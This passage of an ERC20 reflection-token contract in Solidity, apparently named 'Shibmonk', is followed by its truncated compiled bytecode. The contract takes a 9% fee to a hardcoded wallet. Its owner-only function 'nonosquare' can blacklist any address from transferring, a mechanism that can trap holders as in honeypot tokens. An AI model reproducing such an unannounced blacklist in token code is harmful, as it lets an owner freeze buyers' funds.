cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x13C536e9756Bb08BB030671faDCBe4ce52a0f08F); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10**9; _maxWalletSize = 35000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612720565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127ea565b6104b4565b60405161018e9190612845565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286f565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d2565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a1b565b61060d565b60405161021f9190612845565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6e565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab7565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afe565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b2b565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6e565b6109dd565b604051610319919061286f565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b67565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612720565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127ea565b610c9e565b6040516103da9190612845565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b2b565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b82565b611332565b60405161046e919061286f565b60405180910390f35b60606040518060400160405280600881526020017f536869626d6f6e6b000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b9565b84846113c1565b6001905092915050565b6000683635c9adc5dea00000905090565b6104eb6113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0e565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8c565b91505061057b565b5050565b600061061a84848461158a565b6106db846106266113b9565b6106d6856040518060600160405280602881526020016136c360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1b9092919063ffffffff16565b6113c1565b600190509392505050565b6106ee6113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0e565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0e565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0e565b60405180910390fd5b6000811161093357600080fd5b610962606461095483683635c9adc5dea00000611c7f90919063ffffffff16565b611cf990919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b9565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d43565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611daf565b9050919050565b610a366113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0e565b60405180910390fd5b683635c9adc5dea00000600f81905550683635c9adc5dea00000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f536869626d6f6e6b000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b9565b848461158a565b6001905092915050565b610cc46113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0e565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83683635c9adc5dea00000611c7f90919063ffffffff16565b611cf990919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b9565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1d565b50565b610e186113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0e565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113c1565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d55565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d55565b6040518363ffffffff1660e01b815260040161109c929190612d82565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d55565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612df0565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e66565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506801158e460913d00000600f819055506801e5b8fa8fe2ac00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112eb929190612eb9565b6020604051808303816000875af115801561130a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132e9190612ef7565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611430576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142790612f96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690613028565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157d919061286f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f0906130ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f9061314c565b60405180910390fd5b600081116116ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a2906131de565b60405180910390fd5b6000600a819055506009600b819055506116c3610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117315750611701610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117da5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e357600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fc5750600e60179054906101000a900460ff165b15611a3a57600f54811115611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d9061324a565b60405180910390fd5b60105481611953846109dd565b61195d919061326a565b111561199e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119959061330c565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e957600080fd5b601e426119f6919061326a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b51576000600a819055506009600b819055505b6000611b5c306109dd565b9050600e60159054906101000a900460ff16158015611bc95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611be15750600e60169054906101000a900460ff165b15611c0957611bef81611e1d565b60004790506000811115611c0757611c0647611d43565b5b505b505b611c16838383612096565b505050565b6000838311158290611c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5a9190612720565b60405180910390fd5b5060008385611c72919061332c565b9050809150509392505050565b6000808303611c915760009050611cf3565b60008284611c9f9190613360565b9050828482611cae91906133e9565b14611cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce59061348c565b60405180910390fd5b809150505b92915050565b6000611d3b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a6565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dab573d6000803e3d6000fd5b5050565b6000600854821115611df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ded9061351e565b60405180910390fd5b6000611e00612109565b9050611e158184611cf990919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5557611e5461288f565b5b604051908082528060200260200182016040528015611e835781602001602082028036833780820191505090505b5090503081600081518110611e9b57611e9a612c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f669190612d55565b81600181518110611f7a57611f79612c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fe130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113c1565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120459594939291906135fc565b600060405180830381600087803b15801561205f57600080fd5b505af1158015612073573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120a1838383612134565b505050565b600080831182906120ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e49190612720565b60405180910390fd5b50600083856120fc91906133e9565b9050809150509392505050565b60008060006121166122ff565b9150915061212d8183611cf990919063ffffffff16565b9250505090565b60008060008060008061214687612361565b9550955095509550955095506121a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228581612471565b61228f848361252e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ec919061286f565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050612335683635c9adc5dea00000600854611cf990919063ffffffff16565b82101561235457600854683635c9adc5dea0000093509350505061235d565b81819350935050505b9091565b600080600080600080600080600061237e8a600a54600b54612568565b925092509250600061238e612109565b905060008060006123a18e8787876125fe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c1b565b905092915050565b6000808284612422919061326a565b905083811015612467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245e906136a2565b60405180910390fd5b8091505092915050565b600061247b612109565b905060006124928284611c7f90919063ffffffff16565b90506124e681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612543826008546123c990919063ffffffff16565b60088190555061255e8160095461241390919063ffffffff16565b6009819055505050565b6000806000806125946064612586888a611c7f90919063ffffffff16565b611cf990919063ffffffff16565b905060006125be60646125b0888b611c7f90919063ffffffff16565b611cf990919063ffffffff16565b905060006125e7826125d9858c6123c990919063ffffffff16565b6123c990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126178589611c7f90919063ffffffff16565b9050600061262e8689611c7f90919063ffffffff16565b905060006126458789611c7f90919063ffffffff16565b9050600061266e8261266085876123c990919063ffffffff16565b6123c990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126c15780820151818401526020810190506126a6565b838111156126d0576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f282612687565b6126fc8185612692565b935061270c8185602086016126a3565b612715816126d6565b840191505092915050565b6000602082019050818103600083015261273a81846126e7565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061278182612756565b9050919050565b61279181612776565b811461279c57600080fd5b50565b6000813590506127ae81612788565b92915050565b6000819050919050565b6127c7816127b4565b81146127d257600080fd5b50565b6000813590506127e4816127be565b92915050565b600080604083850312156128015761280061274c565b5b600061280f8582860161279f565b9250506020612820858286016127d5565b9150509250929050565b60008115159050919050565b61283f8161282a565b82525050565b600060208201905061285a6000830184612836565b92915050565b612869816127b4565b82525050565b60006020820190506128846000830184612860565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c7826126d6565b810181811067ffffffffffffffff821117156128e6576128e561288f565b5b80604052505050565b60006128f9612742565b905061290582826128be565b919050565b600067ffffffffffffffff8211156129255761292461288f565b5b602082029050602081019050919050565b600080fd5b600061294e6129498461290a565b6128ef565b9050808382526020820190506020840283018581111561297157612970612936565b5b835b8181101561299a5780612986888261279f565b845260208401935050602081019050612973565b5050509392505050565b600082601f8301126129b9576129b861288a565b5b81356129c984826020860161293b565b91505092915050565b6000602082840312156129e8576129e761274c565b5b600082013567ffffffffffffffff811115612a0657612a05612751565b5b612a12848285016129a4565b91505092915050565b600080600060608486031215612a3457612a3361274c565b5b6000612a428682870161279f565b9350506020612a538682870161279f565b9250506040612a64868287016127d5565b9150509250925092565b600060208284031215612a8457612a8361274c565b5b6000612a928482850161279f565b91505092915050565b600060ff82169050919050565b612ab181612a9b565b82525050565b6000602082019050612acc6000830184612aa8565b92915050565b612adb8161282a565b8114612ae657600080fd5b50565b600081359050612af881612ad2565b92915050565b600060208284031215612b1457612b1361274c565b5b6000612b2284828501612ae9565b91505092915050565b600060208284031215612b4157612b4061274c565b5b6000612b4f848285016127d5565b91505092915050565b612b6181612776565b82525050565b6000602082019050612b7c6000830184612b58565b92915050565b60008060408385031215612b9957612b9861274c565b5b6000612ba78582860161279f565b9250506020612bb88582860161279f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf8602083612692565b9150612c0382612bc2565b602082019050919050565b60006020820190508181036000830152612c2781612beb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c97826127b4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc957612cc8612c5d565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d0a601783612692565b9150612d1582612cd4565b602082019050919050565b60006020820190508181036000830152612d3981612cfd565b9050919050565b600081519050612d4f81612788565b92915050565b600060208284031215612d6b57612d6a61274c565b5b6000612d7984828501612d40565b91505092915050565b6000604082019050612d976000830185612b58565b612da46020830184612b58565b9392505050565b6000819050919050565b6000819050919050565b6000612dda612dd5612dd084612dab565b612db5565b6127b4565b9050919050565b612dea81612dbf565b82525050565b600060c082019050612e056000830189612b58565b612e126020830188612860565b612e1f6040830187612de1565b612e2c6060830186612de1565b612e396080830185612b58565b612e4660a0830184612860565b979650505050505050565b600081519050612e60816127be565b92915050565b600080600060608486031215612e7f57612e7e61274c565b5b6000612e8d86828701612e51565b9350506020612e9e86828701612e51565b9250506040612eaf86828701612e51565b9150509250925092565b6000604082019050612ece6000830185612b58565b612edb6020830184612860565b9392505050565b600081519050612ef181612ad2565b92915050565b600060208284031215612f0d57612f0c61274c565b5b6000612f1b84828501612ee2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f80602483612692565b9150612f8b82612f24565b604082019050919050565b60006020820190508181036000830152612faf81612f73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613012602283612692565b915061301d82612fb6565b604082019050919050565b6000602082019050818103600083015261304181613005565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a4602583612692565b91506130af82613048565b604082019050919050565b600060208201905081810360008301526130d381613097565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613136602383612692565b9150613141826130da565b604082019050919050565b6000602082019050818103600083015261316581613129565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c860298361269